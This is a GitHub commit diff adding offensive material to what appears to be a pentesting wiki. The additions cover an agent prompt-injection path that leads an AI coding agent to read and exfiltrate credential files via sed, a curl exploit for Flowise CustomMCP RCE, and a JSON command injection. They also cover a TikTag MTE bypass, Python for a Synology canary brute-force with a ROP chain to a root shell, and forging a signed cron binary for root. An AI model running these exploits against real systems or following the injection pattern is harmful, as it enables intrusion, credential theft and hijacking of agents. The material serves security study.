You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/AI/AI-MCP-Servers.md
+45Lines changed: 45 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -184,8 +184,53 @@ echo 1 | sed 'r/Users/victim/.aws/credentials'
184
184
- The same bypass reads sensitive files (`~/.aws/credentials`, SSH keys, etc.) and the agent dutifully summarizes or exfiltrates them via later tool calls (WebFetch, MCP resources, etc.).
185
185
- An attacker only needs a prompt-injection sink: a poisoned README, web content fetched through `WebFetch`, or a malicious HTTP-based MCP server can instruct the model to invoke the “legitimate” sed command under the guise of log formatting or bulk editing.
Flowise embeds MCP tooling inside its low-code LLM orchestrator, but its **CustomMCP** node trusts user-supplied JavaScript/command definitions that are later executed on the Flowise server. Two separate code paths trigger remote command execution:
191
+
192
+
-`mcpServerConfig` strings are parsed by `convertToValidJSONString()` using `Function('return ' + input)()` with no sandboxing, so any `process.mainModule.require('child_process')` payload executes immediately (CVE-2025-59528 / GHSA-3gcm-f6qx-ff7p). The vulnerable parser is reachable via the unauthenticated (in default installs) endpoint `/api/v1/node-load-method/customMCP`.
193
+
- Even when JSON is supplied instead of a string, Flowise simply forwards the attacker-controlled `command`/`args` into the helper that launches local MCP binaries. Without RBAC or default credentials, the server happily runs arbitrary binaries (CVE-2025-8943 / GHSA-2vv2-3x8x-4gv7).
194
+
195
+
Metasploit now ships two HTTP exploit modules (`multi/http/flowise_custommcp_rce` and `multi/http/flowise_js_rce`) that automate both paths, optionally authenticating with Flowise API credentials before staging payloads for LLM infrastructure takeover.
196
+
197
+
Typical exploitation is a single HTTP request. The JavaScript injection vector can be demonstrated with the same cURL payload Rapid7 weaponised:
198
+
199
+
```bash
200
+
curl -X POST http://flowise.local:3000/api/v1/node-load-method/customMCP \
Because the payload is executed inside Node.js, functions such as `process.env`, `require('fs')`, or `globalThis.fetch` are instantly available, so it is trivial to dump stored LLM API keys or pivot deeper into the internal network.
212
+
213
+
The command-template variant exercised by JFrog (CVE-2025-8943) does not even need to abuse JavaScript. Any unauthenticated user can force Flowise to spawn an OS command:
214
+
215
+
```json
216
+
{
217
+
"inputs": {
218
+
"mcpServerConfig": {
219
+
"command": "touch",
220
+
"args": ["/tmp/yofitofi"]
221
+
}
222
+
},
223
+
"loadMethod": "listActions"
224
+
}
225
+
```
226
+
187
227
## References
188
228
-[CVE-2025-54136 – MCPoison Cursor IDE persistent RCE](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/)
-[Android Anti Instrumentation And Ssl Pinning Bypass](mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md)
Copy file name to clipboardExpand all lines: src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+14-12Lines changed: 14 additions & 12 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -32,7 +32,7 @@ The memory tags are stored in a **dedicated RAM region** (not accessible for nor
32
32
33
33
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
34
34
35
-
```
35
+
```asm
36
36
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
37
37
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
38
38
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
@@ -43,16 +43,16 @@ IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
43
43
44
44
### Sync
45
45
46
-
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
47
-
This is the slowest and most secure.
46
+
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception (SIGSEGV with `SEGV_MTESERR`) and you immediately know the exact instruction and address.\
47
+
This is the slowest and most secure because the offending load/store is blocked.
48
48
49
49
### Async
50
50
51
-
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
51
+
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately (`SIGSEGV` with `SEGV_MTEAERR`), giving some time to the attacker to complete his attack.
52
52
53
53
### Mixed
54
54
55
-
???
55
+
Per-core preferences (for example writing `sync`, `async` or `asymm` to `/sys/devices/system/cpu/cpu*/mte_tcf_preferred`) let kernels silently upgrade or downgrade per-process requests, so production builds usually request ASYNC while privileged cores force SYNC when workload allows it.
56
56
57
57
## Implementation & Detection Examples
58
58
@@ -61,13 +61,13 @@ The kernel allocators (like `kmalloc`) will **call this module** which will prep
61
61
62
62
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
63
63
64
-
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
64
+
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MTE from detecting an attack if that tag is being used in the attacked memory.
65
65
66
-
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
66
+
Therefore there are only **14 values** that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
67
67
68
-
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
68
+
If the kernel accesses the **invalid tag granule**, the **mismatch** will be **detected**. If it accesses another memory location and the **memory has a different tag** (or the invalid tag) the mismatch will also be detected. If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%.
69
69
70
-
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access**these extra bytes, this isn't detected**.
70
+
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 to 47 are using the same tag** but they weren't requested. If the attacker accesses**these extra bytes, this isn't detected**.
71
71
72
72
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
73
73
@@ -77,11 +77,13 @@ Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future
77
77
78
78
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
79
79
80
+
### Speculative Tag Leakage (TikTag)
81
+
82
+
*TikTag* (2024) demonstrated two speculative execution gadgets (TIKTAG-v1/v2) able to leak the 4-bit allocation tag of any address in <4 seconds with >95% success. By speculatively touching attacker-chosen cache lines and observing prefetch-induced timing, an attacker can derandomize the tag assigned to Chrome processes, Android system services, or the Linux kernel and then craft pointers carrying the leaked value. Once the tag space is brute-forced away, the probabilistic granule reuse assumptions (`≈7%` false-negative rate) collapse and classic heap exploits (UAF, OOB) regain near-100% reliability even when MTE is enabled. The paper also ships proof-of-concept exploits that pivot from leaked tags to retagging fake slabs, illustrating that speculative side channels remain a viable bypass path for hardware tagging schemes.
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
144
-
145
-
* Always provide a **maximum field width** (e.g. `%511s`).
146
-
* Prefer safer alternatives such as `snprintf`/`strncpy_s`.
143
+
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution).
3. By abusing **HTTP _chunked transfer-encoding_**, a client can force the request to be split into **hundreds-of-thousands of 6-byte chunks** (`"1\r\nA\r\n"`). This makes `n` grow unbounded until the stack is exhausted.
Synacktiv’s Pwn2Own 2025 chain abused a pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` on port 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes attacker input into a 4096-byte stack buffer but wrongly sets `decoded_len = auth_info->len`. Because the CGI worker forks per request, every child inherits the parent’s stack canary, so one stable overflow primitive is enough to both corrupt the stack and leak all required secrets.
198
+
199
+
#### Base64-decoded JSON as a structured overflow
200
+
The decoded blob must be valid JSON and include `"state"` and `"code"` keys; otherwise, the parser throws before the overflow is useful. Synacktiv solved this by Base64-encoding a payload that decodes to JSON, then a NUL byte, then the overflow stream. `strlen(decoded)` stops at the NUL so parsing succeeds, but `SLIBCBase64Decode` already overwrote the stack past the JSON object, covering the canary, saved RBP, and return address.
201
+
202
+
```python
203
+
pld =b'{"code":"","state":""}\x00'# JSON accepted by Json::Reader
204
+
pld +=b"A"*4081# reach the canary slot
205
+
pld += marker_bytes # guessed canary / pointer data
206
+
send_request(pld)
207
+
```
208
+
209
+
#### Crash-oracle bruteforcing of canaries & pointers
210
+
`synoscgi` forks once per HTTP request, so all children share the same canary, stack layout, and PIE slide. The exploit treats the HTTP status code as an oracle: a `200` response means the guessed byte preserved the stack, while `502` (or a dropped connection) means the process crashed. Brute-forcing each byte serially recovers the 8-byte canary, a saved stack pointer, and a return address inside `libsynobeeadmincenter.so`:
211
+
212
+
```python
213
+
defbf_next_byte(prefix):
214
+
for guess inrange(0x100):
215
+
try:
216
+
if send_request(prefix +bytes([guess])).status_code ==200:
217
+
returnbytes([guess])
218
+
except requests.exceptions.ReadTimeout:
219
+
continue
220
+
raiseRuntimeError("oracle lost sync")
204
221
```
205
222
206
-
Lessons learned:
207
-
* Never call `alloca()` with attacker-controlled sizes.
208
-
* Chunked requests can drastically change the shape of server-side buffers.
209
-
* Validate / cap any value derived from client input *before* using it in memory allocations.
223
+
`bf_next_ptr` simply calls `bf_next_byte` eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes.
224
+
225
+
#### From leaks to ROP & execution
226
+
Once the library base is known, common gadgets (`pop rdi`, `pop rsi`, `mov [rdi], rsi; xor eax, eax; ret`) build an `arb_write` primitive that stages `/bin/bash`, `-c`, and the attacker command on the leaked stack address. Finally, the chain sets up the calling convention for `SLIBCExecl` (a BeeStation wrapper around `execl(2)`), yielding a root shell without needing a separate info-leak bug.
*[Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
214
231
*[HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
Copy file name to clipboardExpand all lines: src/linux-hardening/privilege-escalation/README.md
+23Lines changed: 23 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -503,6 +503,28 @@ If the script executed by root uses a **directory where you have full access**,
503
503
ln -d -s </PATH/TO/POINT></PATH/CREATE/FOLDER>
504
504
```
505
505
506
+
### Custom-signed cron binaries with writable payloads
507
+
Blue teams sometimes "sign" cron-driven binaries by dumping a custom ELF section and grepping for a vendor string before executing them as root. If that binary is group-writable (e.g., `/opt/AV/periodic-checks/monitor` owned by `root:devs 770`) and you can leak the signing material, you can forge the section and hijack the cron task:
508
+
509
+
1. Use `pspy` to capture the verification flow. In Era, root ran `objcopy --dump-section .text_sig=text_sig_section.bin monitor` followed by `grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin` and then executed the file.
510
+
2. Recreate the expected certificate using the leaked key/config (from `signing.zip`):
4. Overwrite the scheduled binary while preserving execute bits:
522
+
```bash
523
+
cp monitor /opt/AV/periodic-checks/monitor
524
+
chmod 770 /opt/AV/periodic-checks/monitor
525
+
```
526
+
5. Wait for the next cron run; once the naive signature check succeeds, your payload runs as root.
527
+
506
528
### Frequent cron jobs
507
529
508
530
You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.
0 commit comments